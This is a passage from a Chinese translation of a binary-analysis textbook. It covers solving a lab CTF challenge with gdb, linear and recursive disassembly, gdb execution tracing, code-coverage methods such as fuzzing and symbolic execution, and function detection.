straceltrace一样,gdb也具有附加到正在运行的进程的能力。然而,由于ctf不是一个长期运行的进程,你可以直接从一开始就用gdb运行它。因为gdb是一个交互式工具,当你在gdb下启动一个二进制文件时,它不会立即执行。在打印启动信息和一些使用说明后,gdb会暂停并等待命令。你可以通过命令提示符(gdb)知道gdb正在等待命令。

列表 5-11 展示了查找GUESSME环境变量预期值所需的gdb命令序列。我将在讨论该列表时逐一解释这些命令。

列表 5-11:使用 gdb 查找 GUESSME 的预期值

   $ gdb ./ctf
   GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
   Copyright (C) 2016 Free Software Foundation, Inc.
   License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
   This is free software: you are free to change and redistribute it.
   There is NO WARRANTY, to the extent permitted by law. Type "show copying"
   and "show warranty" for details.
   This GDB was configured as "x86_64-linux-gnu".
   Type "show configuration" for configuration details.
   For bug reporting instructions, please see:
   <http://www.gnu.org/software/gdb/bugs/>.
   Find the GDB manual and other documentation resources online at:
   <http://www.gnu.org/software/gdb/documentation/>.
   For help, type "help".
   Type "apropos word" to search for commands related to "word"...
   Reading symbols from ./ctf...(no debugging symbols found)...done.
➊ (gdb) b *0x400dc8
   Breakpoint 1 at 0x400dc8
➋ (gdb) set env GUESSME=foobar
➌ (gdb) run show_me_the_flag
   Starting program: /home/binary/code/chapter3/ctf show_me_the_flag
   checking 'show_me_the_flag'
   ok
 ➍ Breakpoint 1, 0x0000000000400dc8 in ?? ()
➎ (gdb) display/i $pc
   1: x/i $pc
   => 0x400dc8:    cmp    (%rcx,%rax,1),%dl
➏ (gdb) info registers rcx
   rcx            0x615050 6377552
➐ (gdb) info registers rax
   rax            0x0      0
➑ (gdb) x/s 0x615050
   0x615050:       "Crackers Don't Matter"
➒ (gdb) quit

调试器最基本的功能之一是设置断点,它就是一个地址或函数名,调试器将在该位置“中断”执行。每当调试器达到断点时,它会暂停执行并将控制权交还给用户,等待命令。为了转储与GUESSME环境变量进行比较的“魔法”字符串,你需要在地址0x400dc8 ➊(比较发生的地方)设置断点。在gdb中,设置断点的命令是b addressb是命令break的简写)。如果符号可用(在此情况下不可用),你可以使用函数名在函数入口处设置断点。例如,要在main的起始位置设置断点,可以使用命令b main

设置完断点后,在开始执行ctf之前,你还需要做一件事。你仍然需要为GUESSME环境变量设置一个值,以防止ctf提前退出。在gdb中,你可以使用命令set env GUESSME=foobar ➋来设置GUESSME环境变量。现在,你可以通过发出命令run show_me_the_flag ➌来开始执行ctf。如你所见,你可以将参数传递给run命令,它会自动将这些参数传递给你正在分析的二进制文件(在此情况下是ctf)。现在,ctf开始正常执行,应该会一直执行直到遇到你的断点。

ctf遇到断点时,gdb会暂停ctf的执行并将控制权交还给你,通知你断点已被触发 ➍。此时,你可以使用命令display/i $pc来显示当前程序计数器($pc)处的指令,以确保你在预期的指令处 ➎。正如预期的那样,gdb通知你接下来要执行的指令是cmp (%rcx,%rax,1),%dl,这确实是你感兴趣的比较指令(以 AT&T 格式显示)。

现在你已经到达了ctf执行过程中的那个时刻,GUESSME与预期字符串进行比较,你需要找到该字符串的基地址,以便将其转储。要查看rcx寄存器中包含的基地址,可以使用命令info registers rcx➏。你还可以查看rax的内容,确保循环计数器为零,符合预期 ➐。也可以使用命令info registers而不指定任何寄存器名称,在这种情况下,gdb会显示所有通用寄存器的内容。

你现在知道了你想要转储的字符串的基址;它从地址 0x615050 开始。接下来要做的就是在该地址处转储字符串。在 gdb 中转储内存的命令是 x,它能够以多种粒度和编码方式转储内存。例如,x/d 以十进制表示转储一个字节,x/x 以十六进制表示转储一个字节,x/4xw 转储四个十六进制字(即 4 字节整数)。在这种情况下,最有用的命令是 x/s,它会转储一个 C 风格的字符串,直到遇到 NULL 字节为止。当你执行命令 x/s 0x615050 来转储你感兴趣的字符串时 ➑,你可以看到预期的值 GUESSMECrackers Don't Matter。接下来,让我们使用 quit 命令 ➒ 退出 gdb 来尝试它!

$ GUESSME="Crackers Don't Matter" ./ctf show_me_the_flag
checking 'show_me_the_flag'
ok
flag = 84b34c124b2ba5ca224af8e33b077e9e

如此列表所示,你终于完成了所有必要的步骤,成功地让 ctf 给你提供了秘密旗帜!在本章的虚拟机目录中,你会找到一个名为 oracle 的程序。现在,按照下面的方式将旗帜传递给 oracle./oracle 84b34c124b2ba5ca224af8e33b077e9e。你现在已经解锁了下一个挑战,接下来可以凭借你新学到的技能自己完成它。

5.10 小结

在本章中,我向你介绍了所有成为有效二进制分析师所需的基本 Linux 二进制分析工具。尽管这些工具大多数都很简单,但你可以将它们组合起来,迅速实施强大的二进制分析!在下一章中,你将探索一些主要的反汇编工具以及其他更高级的分析技巧。

练习

1. 新的 CTF 挑战

完成由 oracle 程序解锁的新的 CTF 挑战!你可以仅使用本章讨论的工具和在第二章中学到的内容来完成整个挑战。完成挑战后,别忘了将你找到的旗帜交给 oracle 以解锁下一个挑战。

第六章:拆解与二进制分析基础

现在你已经了解了二进制文件的结构,并且熟悉了基本的二进制分析工具,接下来是时候开始拆解一些二进制文件了!在本章中,你将学习一些主要的拆解方法和工具的优缺点。我还将讨论一些更高级的分析技巧,用于分析拆解代码的控制流和数据流特性。

请注意,本章并不是反向工程的指南;如果你需要反向工程的指导,我推荐 Chris Eagle 的 《IDA Pro 书籍》(No Starch Press,2011)。本章的目标是帮助你熟悉拆解背后的主要算法,了解拆解器能够和不能做什么。这些知识将帮助你更好地理解后续章节中讨论的更高级的技术,因为这些技术本质上依赖于拆解作为核心。整个章节中,我将使用 objdump 和 IDA Pro 来进行大部分示例。在一些示例中,我将使用伪代码来简化讨论。附录 C 包含了你可以尝试的其他知名拆解器,如果你想使用除了 IDA Pro 或 objdump 之外的拆解工具。

6.1 静态拆解

你可以将所有二进制分析分为静态分析、动态分析,或者两者的结合。当人们提到“拆解”时,他们通常指的是 静态拆解,它涉及从二进制文件中提取指令,而不需要执行它。与此相对,动态拆解,更常见的称呼是 执行跟踪,它在二进制文件运行时记录每个已执行的指令。

每个静态拆解器的目标是将二进制文件中的 所有 代码转换成一个人类可以阅读或机器可以处理(以便进一步分析)的形式。为了实现这一目标,静态拆解器需要执行以下步骤:

  1. 使用二进制加载器(如第四章中实现的加载器)加载二进制文件进行处理。

  2. 找到二进制文件中的所有机器指令。

  3. 将这些指令拆解成人类或机器可读的形式。

不幸的是,步骤 2 在实际操作中常常非常困难,导致拆解错误。静态拆解有两种主要方法,每种方法都以不同的方式尝试避免拆解错误:线性拆解递归拆解。不幸的是,在每种情况下,这两种方法都不是完美的。我们来讨论一下这两种静态拆解技术的权衡。我将在本章稍后部分回到动态拆解的讨论。

图 6-1 展示了线性和递归拆解的基本原理。它还突出了每种方法可能出现的一些拆解错误类型。

image

图 6-1:线性拆解与递归拆解。箭头表示拆解流程,灰色块表示丢失或损坏的代码。

6.1.1 线性拆解

让我们从线性反汇编开始,这种方法在概念上是最简单的。它遍历二进制文件中的所有代码段,按顺序解码所有字节,并将它们解析为指令列表。许多简单的反汇编器,包括第一章中的objdump,都采用这种方法。

使用线性反汇编的风险在于,并非所有字节都是指令。例如,一些编译器,如 Visual Studio,会将跳转表等数据与代码交织在一起,而没有留下任何关于数据所在位置的提示。如果反汇编器错误地将这些内联数据解析为代码,它们可能会遇到无效的操作码。更糟糕的是,这些数据字节可能巧合地对应于有效的操作码,导致反汇编器输出虚假的指令。在像 x86 这样密集的 ISA 上,这种情况尤为可能,因为大多数字节值都代表有效的操作码。

此外,对于具有可变长度操作码的指令集架构(ISA),例如 x86,内联数据甚至可能导致反汇编器与真实指令流不同步。尽管反汇编器通常会自我重新同步,但不同步可能导致内联数据后的前几条真实指令被遗漏,如图 6-2 所示。

image

图 6-2:由于将内联数据误解为代码,导致的反汇编不同步。反汇编重新同步的指令用灰色标示。

该图示例展示了二进制代码段中的反汇编不同步问题。你可以看到一些内联数据字节(0x8e 0x20 0x5c 0x00),后面跟着一些指令(push rbpmov rbp,rsp等)。正确解码所有字节的结果,假设是通过一个完全同步的反汇编器进行解码,显示在图的左侧,标注为“synchronized”。但是,一个简单的线性反汇编器会将内联数据错误地解释为代码,从而解码出图中显示的“−4 bytes off”字节。正如你所看到的,内联数据被解码为mov fs,[rax]指令,接着是pop rspadd [rbp+0x48],dl指令。最后这一条指令尤其恶劣,因为它超出了内联数据区域,进入了实际的指令区!这样,add指令“吃掉”了一些真正的指令字节,导致反汇编器完全错过了前两条实际指令。如果反汇编器提早 3 个字节开始(“−3 bytes off”),它也会遇到类似的问题,这可能发生在反汇编器尝试跳过内联数据却没能识别出所有内联数据时。

幸运的是,在 x86 架构上,反汇编后的指令流通常会在几条指令后自动重新同步。但是,如果你进行任何自动化分析,或者基于反汇编的代码修改二进制文件,哪怕遗漏了几条指令也可能是个坏消息。正如你在第八章中看到的,恶意程序有时故意包含一些字节,旨在使反汇编器不同步,从而隐藏程序的真实行为。

在实际操作中,像objdump这样的线性反汇编器在反汇编使用最近版本编译器(如gcc或 LLVM 的clang)编译的 ELF 二进制文件时是安全的。这些编译器的 x86 版本通常不会生成内联数据。另一方面,Visual Studio 生成内联数据,因此在使用objdump查看 PE 二进制文件时,最好留意反汇编错误。在分析其他架构(如 ARM)上的 ELF 二进制文件时也是如此。如果你使用线性反汇编器分析恶意代码,那就完全无法预料了,因为它可能包含比内联数据更复杂的混淆技术!

6.1.2 递归反汇编

与线性反汇编不同,递归反汇编对控制流非常敏感。它从已知的二进制入口点(如主入口点和导出函数符号)开始,然后递归地跟踪控制流(如跳转和调用)以发现代码。这使得递归反汇编能够绕过几乎所有数据字节,除了极少数的特殊情况。^(1) 这种方法的缺点是,并非所有的控制流都容易跟踪。例如,静态地判断间接跳转或调用的目标往往是困难的,甚至是不可能的。因此,反汇编器可能会遗漏代码块(甚至整个函数,例如图 6-1 中的f[1]和f[2]),这些代码块可能是间接跳转或调用的目标,除非它使用特殊的(特定于编译器且容易出错的)启发式方法来解析控制流。

递归反汇编是许多逆向工程应用中的事实标准,例如恶意软件分析。IDA Pro(如图 6-3 所示)是最先进且广泛使用的递归反汇编工具之一。IDA Pro 是 Interactive DisAssembler(交互式反汇编器)的缩写,旨在交互使用,并提供许多用于代码可视化、代码探索、脚本编写(使用 Python)甚至反编译^(2)的功能,这些功能在简单的工具如objdump中是无法实现的。当然,它的价格也不便宜:在撰写时,IDA Starter(IDA Pro 的简化版)的许可证起价为$739,而完整的 IDA Professional 许可证则从$1,409 起。但不用担心——你不需要购买 IDA Pro 来使用本书。本书关注的不是交互式逆向工程,而是基于免费的框架创建你自己的自动化二进制分析工具。

image

图 6-3:IDA Pro 的图形视图

图 6-4 展示了像 IDA Pro 这样的递归反汇编工具在实际应用中面临的一些挑战。具体来说,图中显示了如何将 opensshd v7.1p2 版本的一个简单函数通过 gcc v5.1.1 从 C 代码编译成 x64 代码。

image

图 6-4:反汇编后的 switch 语句示例(来自 opensshd v7.1p2,使用 gcc 5.1.1 为 x64 编译,源代码经过编辑以简化)。有趣的行被阴影标出。

如图左侧所示,展示了该函数的 C 语言表示,函数本身没有做什么特别的事情。它使用一个 for 循环遍历数组,在每次迭代中应用一个 switch 语句来确定如何处理当前的数组元素:跳过不感兴趣的元素,返回满足某些条件的元素的索引,或者如果发生了意外错误则打印错误并退出。尽管 C 语言代码很简单,但该函数的编译版本(图右侧所示)要正确反汇编并不简单。

如图 6-4 所示,switch 语句的 x64 实现基于一个 跳转表,这是现代编译器常见的构造。该跳转表实现避免了复杂的条件跳转链。相反,位于地址 0x4438f9 的指令利用 switch 输入值计算(存储在 rax 寄存器中)一个表的索引,表中存储着对应的 case 块的地址。通过这种方式,只有位于地址 0x443901 的单一间接跳转指令,才能将控制流传递到跳转表定义的任何 case 地址。

尽管跳转表高效,但它们使得递归反汇编变得更加困难,因为它们使用了 间接控制流。间接跳转指令中缺乏明确的目标地址,这使得反汇编器很难追踪到指令流的走向。因此,间接跳转可能会指向的任何指令都不会被发现,除非反汇编器实现了特定的(依赖于编译器的)启发式方法来发现和解析跳转表。^(3) 对于这个例子来说,这意味着一个没有实现 switch 检测启发式方法的递归反汇编工具根本无法发现地址 0x4439030x443925 之间的指令。

情况变得更加复杂,因为 switch 中有多个 ret 指令,并且还调用了 fatal 函数,该函数抛出错误并且永远不返回。一般来说,不能假设 ret 指令或非返回的 call 后面一定有指令;实际上,这些指令后面可能跟着的是数据或填充字节,而这些内容并不打算被当作代码解析。然而,相反的假设(即这些指令后面没有更多的代码)可能会导致反汇编器遗漏指令,导致反汇编结果不完整。

这些只是递归反汇编器面临的一些挑战;更复杂的情况还很多,特别是在比示例中更复杂的函数中。正如你所看到的,线性反汇编和递归反汇编都不是完美的。对于良性 x86 ELF 二进制文件,线性反汇编是一个不错的选择,因为它能够提供既完整又准确的反汇编:这类二进制文件通常不包含会让反汇编器出错的内联数据,并且线性方法不会因为无法解析的间接控制流而漏掉代码。另一方面,如果涉及到内联数据或恶意代码,使用递归反汇编器可能是更好的选择,因为它不容易像线性反汇编器那样产生虚假的输出。

在需要确保反汇编正确性的情况下,即使以牺牲完整性为代价,也可以使用动态反汇编。让我们来看一下这种方法与刚才讨论的静态反汇编方法有何不同。

6.2 动态反汇编

在前面的章节中,你看到了静态反汇编器所面临的挑战,如区分数据和代码、解析间接调用等。动态分析解决了许多这些问题,因为它拥有丰富的运行时信息,例如具体的寄存器和内存内容。当执行到达特定地址时,你可以完全确信那里有一条指令,因此动态反汇编不会遇到静态反汇编中常见的不准确问题。这使得动态反汇编器,也叫做执行追踪器指令追踪器,可以在程序执行时直接输出指令(以及可能的内存/寄存器内容)。这种方法的主要缺点是代码覆盖问题:即动态反汇编器只能看到它们执行的指令,而不是所有指令。我将在本节后面再讨论代码覆盖问题。首先,让我们来看一个具体的执行追踪示例。

6.2.1 示例:使用 gdb 追踪二进制执行

令人惊讶的是,Linux 上没有广泛接受的标准工具用于“即刻执行并忘记”追踪(与 Windows 不同,Windows 上有像 OllyDbg 这样优秀的工具^(4))。使用仅标准工具的最简单方法是通过一些gdb命令,如清单 6-1 所示。

清单 6-1:使用 gdb 进行动态反汇编

   $ gdb /bin/ls
   GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
   ...
   Reading symbols from /bin/ls...(no debugging symbols found)...done.
➊ (gdb) info files
   Symbols from "/bin/ls".
   Local exec file:
          `/bin/ls', file type elf64-x86-64.
➋        Entry point: 0x4049a0
          0x0000000000400238 - 0x0000000000400254 is .interp
          0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
          0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
          0x0000000000400298 - 0x0000000000400358 is .gnu.hash
          0x0000000000400358 - 0x0000000000401030 is .dynsym
          0x0000000000401030 - 0x000000000040160c is .dynstr
          0x000000000040160c - 0x000000000040171e is .gnu.version
          0x0000000000401720 - 0x0000000000401790 is .gnu.version_r
          0x0000000000401790 - 0x0000000000401838 is .rela.dyn
          0x0000000000401838 - 0x00000000004022b8 is .rela.plt
          0x00000000004022b8 - 0x00000000004022d2 is .init
          0x00000000004022e0 - 0x00000000004029f0 is .plt
          0x00000000004029f0 - 0x00000000004029f8 is .plt.got
          0x0000000000402a00 - 0x0000000000413c89 is .text
          0x0000000000413c8c - 0x0000000000413c95 is .fini
          0x0000000000413ca0 - 0x000000000041a654 is .rodata
          0x000000000041a654 - 0x000000000041ae60 is .eh_frame_hdr
          0x000000000041ae60 - 0x000000000041dae4 is .eh_frame
          0x000000000061de00 - 0x000000000061de08 is .init_array
          0x000000000061de08 - 0x000000000061de10 is .fini_array
          0x000000000061de10 - 0x000000000061de18 is .jcr
          0x000000000061de18 - 0x000000000061dff8 is .dynamic
          0x000000000061dff8 - 0x000000000061e000 is .got
          0x000000000061e000 - 0x000000000061e398 is .got.plt
          0x000000000061e3a0 - 0x000000000061e600 is .data
          0x000000000061e600 - 0x000000000061f368 is .bss
➌ (gdb) b *0x4049a0
   Breakpoint 1 at 0x4049a0
➍ (gdb) set pagination off
➎ (gdb) set logging on
   Copying output to gdb.txt.
   (gdb) set logging redirect on
   Redirecting output to gdb.txt.
➏ (gdb) run
➐ (gdb) display/i $pc
➑ (gdb) while 1
➑ >si
   >end
   chapter1 chapter2 chapter3 chapter4 chapter5
   chapter6 chapter7 chapter8 chapter9 chapter10
   chapter11 chapter12 chapter13 inc
   (gdb)

本例将 /bin/ls 加载到 gdb 中,并生成一个跟踪,记录在列出当前目录内容时执行的所有指令。启动 gdb 后,你可以列出加载到 gdb 中的文件信息(在本例中,只有可执行文件 /bin/ls) ➊。这会告诉你该二进制文件的入口点地址 ➋,以便你可以在程序开始运行时设置一个断点来暂停执行 ➌。接着,你禁用分页 ➍ 并配置 gdb 将日志记录到文件中,而不是标准输出 ➎。默认情况下,日志文件名为 gdb.txt。分页意味着 gdb 在输出一定行数后会暂停,允许用户在继续之前阅读屏幕上的所有输出,默认情况下启用。由于你正在将日志记录到文件,因此不希望出现这些暂停,否则你会不得不不断按键才能继续,快速变得很烦人。

设置好一切后,你运行二进制文件 ➏。它会立即暂停,一旦入口点被触及。此时你可以告诉 gdb 将这条第一条指令记录到文件中 ➐,然后进入一个 while 循环 ➑,不断执行单条指令 ➒(这称为 单步执行),直到没有更多的指令可以执行为止。每一条单步执行的指令都会自动以与之前相同的格式打印到日志文件中。执行完成后,你将得到一个包含所有执行指令的日志文件。正如你所料,输出相当冗长;即使是简单运行一个小程序,也会遍历数十万甚至更多的指令,如 清单 6-2 所示。

清单 6-2:使用 gdb 进行动态反汇编后的输出

➊ $ wc -l gdb.txt
   614390 gdb.txt
➋ $ head -n 20 gdb.txt
   Starting program: /bin/ls
   [Thread debugging using libthread_db enabled]
   Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

   Breakpoint 1, 0x00000000004049a0 in ?? ()
➌ 1: x/i $pc
   => 0x4049a0:          xor     %ebp,%ebp
   0x00000000004049a2   in ?? ()
   1: x/i $pc
   => 0x4049a2:          mov     %rdx,%r9
   0x00000000004049a5   in ?? ()
   1: x/i $pc
   => 0x4049a5:          pop     %rsi
   0x00000000004049a6   in ?? ()
   1: x/i $pc
   => 0x4049a6:          mov     %rsp,%rdx
   0x00000000004049a9   in ?? ()
   1: x/i $pc
   => 0x4049a9:          and     $0xfffffffffffffff0,%rsp
   0x00000000004049ad   in ?? ()

使用 wc 来计算日志文件中的行数,你会发现该文件包含 614,390 行,远远超过这里能列出的数量 ➊。为了给你一个输出的概念,你可以使用 head 查看日志文件的前 20 行 ➋。实际的执行跟踪从 ➌ 开始。对于每条执行的指令,gdb 会打印用于记录该指令的命令,然后是指令本身,最后是指令位置的相关信息(由于二进制文件已被剥离,因此位置未知)。使用 grep,你可以过滤掉除显示已执行指令的行外的所有内容,因为它们才是你关心的,从而得到如下所示的输出,详见 清单 6-3。

清单 6-3:使用 gdb 进行动态反汇编后的过滤输出

$ egrep '^=> 0x[0-9a-f]+:' gdb.txt | head -n 20
=> 0x4049a0:        xor    %ebp,%ebp
=> 0x4049a2:        mov    %rdx,%r9
=> 0x4049a5:        pop    %rsi
=> 0x4049a6:        mov    %rsp,%rdx
=> 0x4049a9:        and    $0xfffffffffffffff0,%rsp
=> 0x4049ad:        push   %rax
=> 0x4049ae:        push   %rsp
=> 0x4049af:        mov    $0x413c50,%r8
=> 0x4049b6:        mov    $0x413be0,%rcx
=> 0x4049bd:        mov    $0x402a00,%rdi
=> 0x4049c4:        callq  0x402640 <__libc_start_main@plt>
=> 0x4022e0:        pushq  0x21bd22(%rip)         # 0x61e008
=> 0x4022e6:        jmpq   *0x21bd24(%rip)        # 0x61e010
=> 0x413be0:        push   %r15
=> 0x413be2:        push   %r14
=> 0x413be4:        mov    %edi,%r15d
=> 0x413be7:        push   %r13
=> 0x413be9:        push   %r12
=> 0x413beb:        lea    0x20a20e(%rip),%r12   # 0x61de00
=> 0x413bf2:        push   %rbp

如你所见,这比未经过滤的 gdb 日志要更易读。

6.2.2 代码覆盖策略

所有动态分析的主要缺点(不仅仅是动态反汇编)是代码覆盖率问题:分析只会看到分析过程中实际执行的指令。因此,如果任何关键的信息隐藏在其他指令中,分析将永远无法得知。例如,如果你正在动态分析一个包含逻辑炸弹的程序(例如,在未来某个时间触发恶意行为),你永远不会发现,直到为时已晚。相反,通过静态分析的仔细检查可能会揭示这一点。再举一个例子,在动态测试软件时,如果有一个代码路径很少执行,你无法保证自己是否遗漏了在测试中未覆盖的 bug。

许多恶意软件样本甚至会主动躲避动态分析工具或调试器,如 gdb。几乎所有这类工具都会在环境中产生某种可检测的痕迹;即使没有其他表现,分析过程通常会导致执行速度变慢,通常慢到足以被检测到。恶意软件会检测到这些痕迹,并在知道自己正在被分析时隐藏其真实行为。为了在这些样本上启用动态分析,你必须对恶意软件进行逆向工程,然后禁用其反分析检查(例如,通过用修补后的值覆盖那些代码字节)。这些反分析技巧就是为什么,如果可能的话,通常建议至少用静态分析方法来增强你的动态恶意软件分析的原因。

由于找到正确的输入以覆盖每一个可能的程序路径是困难且耗时的,动态反汇编几乎永远无法揭示所有可能的程序行为。你可以使用几种方法来提高动态分析工具的覆盖率,尽管通常这些方法都无法达到静态分析所提供的完整性。让我们来看看一些最常用的方法。

测试套件

提高代码覆盖率最简单且最常见的方法之一是使用已知的测试输入运行被分析的二进制文件。软件开发人员通常会手动为他们的程序开发测试套件,设计输入来覆盖尽可能多的程序功能。这类测试套件非常适合动态分析。为了实现良好的代码覆盖率,只需使用每个测试输入对程序进行分析。当然,这种方法的缺点是,并非总能获得现成的测试套件,例如专有软件或恶意软件就可能没有现成的测试套件。

使用测试套件来实现代码覆盖率的具体方式因应用程序而异,这取决于应用程序的测试套件结构。通常,有一个特殊的 Makefile test 目标,你可以通过在命令行输入 make test 来运行测试套件。在 Makefile 内,test 目标通常是像清单 6-4 那样结构化的。

清单 6-4:Makefile 测试 目标 结构

PROGRAM := foo

test: test1 test2 test3 # ...

test1:
        $(PROGRAM) < input > output
        diff correct output

# ...

PROGRAM变量包含正在测试的应用程序的名称,在本例中为footest目标依赖于多个测试用例(test1test2等),每个测试用例在你运行make test时都会被调用。每个测试用例包括在某些输入上运行PROGRAM、记录输出,然后使用diff与正确输出进行比较。

实现这种类型的测试框架有许多不同(且更简洁)的方法,但关键点是你可以通过简单地覆盖PROGRAM变量,在每个测试用例上运行动态分析工具。例如,假设你想用gdb运行每个foo的测试用例。(实际上,你可能不会用gdb,而是使用完全自动化的动态分析工具,如何构建这种工具你将在第九章中学习。)你可以按照如下方式进行:

make test PROGRAM="gdb foo"

本质上,这重新定义了PROGRAM,使得你不再只是对每个测试运行foo,而是将foo gdb中运行。这样,gdb或你正在使用的任何动态分析工具会在每个测试用例上运行foo,允许动态分析覆盖所有测试用例所涵盖的foo代码。在没有PROGRAM变量可供覆盖的情况下,你需要进行搜索和替换,但思想保持不变。

模糊测试

还有一些被称为模糊测试器的工具,它们试图自动生成输入,以覆盖给定二进制文件中的新代码路径。著名的模糊测试器包括 AFL、微软的 Project Springfield 和谷歌的 OSS-Fuzz。广义上讲,模糊测试器根据生成输入的方式可分为两类。

  1. 基于生成的模糊测试器:这些模糊测试器从头开始生成输入(可能了解预期的输入格式)。

  2. 基于变异的模糊测试器:这些模糊测试器通过某种方式变异已知的有效输入来生成新的输入,例如,从现有的测试套件开始。

模糊测试器的成功与性能在很大程度上依赖于可用的信息。例如,如果有源代码信息可用,或者已知程序的预期输入格式,那会非常有帮助。如果这些都不知道(即使知道了),模糊测试可能需要大量的计算时间,且可能无法覆盖被复杂if/else条件所隐藏的代码路径,而这些条件是模糊测试器无法“猜测”的。模糊测试器通常用于搜索程序中的漏洞,改变输入直到检测到崩溃。

虽然我在本书中不会详细讲解模糊测试,但我鼓励你尝试使用一些免费的工具。每个模糊测试器都有其独特的使用方法。一个很好的实验选择是 AFL,它是免费的,并且有很好的在线文档。^(5) 此外,在第十章中,我将讨论如何使用动态污点分析来增强模糊测试。

符号执行

符号执行是一种高级技术,我将在第十二章和第十三章中详细讨论。这是一项广泛的技术,具有多种应用,而不仅仅是代码覆盖。在这里,我只是大致介绍符号执行如何应用于代码覆盖,省略了许多细节,所以如果你暂时跟不上,也不用担心。

通常,当你执行一个应用程序时,你会使用所有变量的具体值。在执行的每个时刻,每个 CPU 寄存器和内存区域都包含某个特定值,并且这些值会随着应用程序的计算过程而不断变化。而符号执行则不同。

简而言之,符号执行允许你用符号值而不是具体值来执行一个应用程序。你可以将符号值视为数学符号。符号执行本质上是对程序的模拟,其中所有或部分变量(或寄存器和内存状态)都通过这些符号来表示。^(6)为了更清楚地理解这意味着什么,请考虑 Listing 6-5 中显示的伪代码程序。

Listing 6-5:伪代码示例,用于说明符号执行

➊ x = int(argv[0])
   y = int(argv[1])

➋ z = x + y
➌ if(x < 5)
       foo(x, y, z)
➍ else
       bar(x, y, z)

程序从接受两个命令行参数开始,将它们转换为数字,并存储在两个变量xy中 ➊。在符号执行的开始,你可能会将x变量定义为包含符号值α[1],而y可能初始化为α[2]。α[1]和α[2]都是可以表示任何可能数值的符号。然后,随着模拟的进行,程序实际上会计算这些符号的公式。例如,操作z = x + y使得z的符号表达式变为α*[1] + α[2] ➋。

与此同时,符号执行还计算了路径约束,这只是对符号可能取值的限制,考虑到到目前为止已遍历的分支。例如,如果分支if(x < 5)被执行,则符号执行会添加一个路径约束,表示α[1] < 5 ➌。这个约束表示,如果执行了if分支,那么α[1](x中的符号值)必须始终小于 5,否则该分支就不会被执行。对于每个分支,符号执行会相应地扩展路径约束列表。

这一切如何与代码覆盖率相关?关键点是,给定路径约束列表,你可以检查是否存在任何具体输入能够满足所有这些约束。有一些特殊的程序,叫做 约束求解器,它们可以在给定约束列表的情况下检查是否有办法满足这些约束。例如,如果唯一的约束是 α[1] < 5,求解器可能会给出解 α[1] = 4 ^ α[2] = 0。请注意,路径约束并未提及 α[2],因此它可以取任何值。这意味着,在程序的具体执行开始时,你可以(通过用户输入)将 x 的值设置为 4,将 y 的值设置为 0,然后执行将走在符号执行中走过的相同分支。如果没有解,求解器会通知你。

现在,为了增加代码覆盖率,你可以更改路径约束,并询问求解器是否有任何方法满足更改后的约束。例如,你可以将约束 α[1] < 5 改为 α[1] ≥ α[5],并询问求解器是否有解。求解器会告知你一个可能的解,如 α[1] = 5 ^ α[2] = 0,你可以将这个解作为输入用于程序的具体执行,从而强制该执行走 else 分支,进而增加代码覆盖率 ➍。如果求解器告知你没有可能的解,那就意味着无法“翻转”该分支,你应继续通过更改其他路径约束来寻找新路径。

正如你从前面的讨论中可能已经了解到的,符号执行(甚至仅仅是其在代码覆盖率中的应用)是一个复杂的主题。即便具备了“翻转”路径约束的能力,仍然无法覆盖所有程序路径,因为可能的路径数量随着程序中的分支指令数量的增加而呈指数级增长。此外,求解路径约束集合在计算上是非常密集的;如果不小心,符号执行方法很容易变得不可扩展。实际上,应用符号执行时需要非常小心,以确保其可扩展性和有效性。到目前为止,我仅概述了符号执行背后的核心思想,但理想情况下,它已经让你对第十二章和第十三章有所了解。

6.3 结构化反汇编代码和数据

到目前为止,我已经向你展示了静态和动态反汇编器如何在二进制文件中找到指令,但反汇编并不止于此。大量没有结构的反汇编指令几乎无法进行分析,因此大多数反汇编器会以某种方式将反汇编的代码结构化,使其更容易分析。在本节中,我将讨论反汇编器恢复的常见代码和数据结构,以及它们如何帮助二进制分析。

6.3.1 结构化代码

首先,让我们来看看反汇编代码的各种结构方式。广义上讲,我将展示的代码结构可以通过两种方式让代码分析变得更加容易。

  • 划分功能区:通过将代码划分为逻辑上连接的块,分析每个块的功能以及代码块之间的关系变得更加容易。

  • 显示控制流:我接下来要讨论的一些代码结构不仅显式地表示代码本身,还表示代码块之间的控制转移。这些结构可以以可视化的方式呈现,使得更容易快速看出控制如何在代码中流动,并快速了解代码的功能。

以下代码结构在自动化和手动分析中都非常有用。

函数

在大多数高级编程语言(包括 C、C++、Java、Python 等)中,函数是将逻辑上相关的代码块组织在一起的基本构建块。正如任何程序员都知道的那样,结构良好并正确划分为函数的程序,比那些结构不良、充满“意大利面条代码”的程序更容易理解。因此,大多数反汇编工具会尽力恢复原始程序的函数结构,并利用它将反汇编指令按函数分组。这被称为函数检测。函数检测不仅使得代码对人工逆向工程师更易于理解,而且对自动化分析也很有帮助。例如,在自动化二进制分析中,你可能希望按函数级别搜索漏洞,或修改代码,使得每个函数的开始和结束处进行特定的安全检查。

对于包含符号信息的二进制文件,函数检测非常简单;符号表指定了函数集合,并列出了它们的名称、起始地址和大小。不幸的是,正如你在第一章中可能记得的那样,许多二进制文件会去除这些信息,这使得函数检测变得更加具有挑战性。源代码级别的函数在二进制级别没有实际意义,因此它们的边界在编译过程中可能会变得模糊。属于某个特定函数的代码甚至可能在二进制文件中不按顺序排列。函数的各个部分可能分散在代码区段中,甚至有些代码块可能会在多个函数之间共享(这称为重叠代码块)。实际上,大多数反汇编工具假设函数是连续的,并且代码不会共享,这在许多情况下是成立的,但并非所有情况都如此。如果你分析的是固件或嵌入式系统代码,这种假设尤其不成立。

反汇编器用于函数检测的主要策略是基于函数签名,即在函数的开始或结束时常用的指令模式。这一策略在所有知名的递归反汇编器中都有使用,包括 IDA Pro。像objdump这样的线性反汇编器通常不进行函数检测,除非有符号可用。

通常,基于签名的函数检测算法从通过反汇编的二进制文件开始,定位由call指令直接调用的函数。这些情况对于反汇编器来说比较容易找到;而仅通过间接调用或尾调用的函数则更具挑战性。^(7) 为了找到这些具有挑战性的情况,基于签名的函数检测器会查询已知函数签名的数据库。

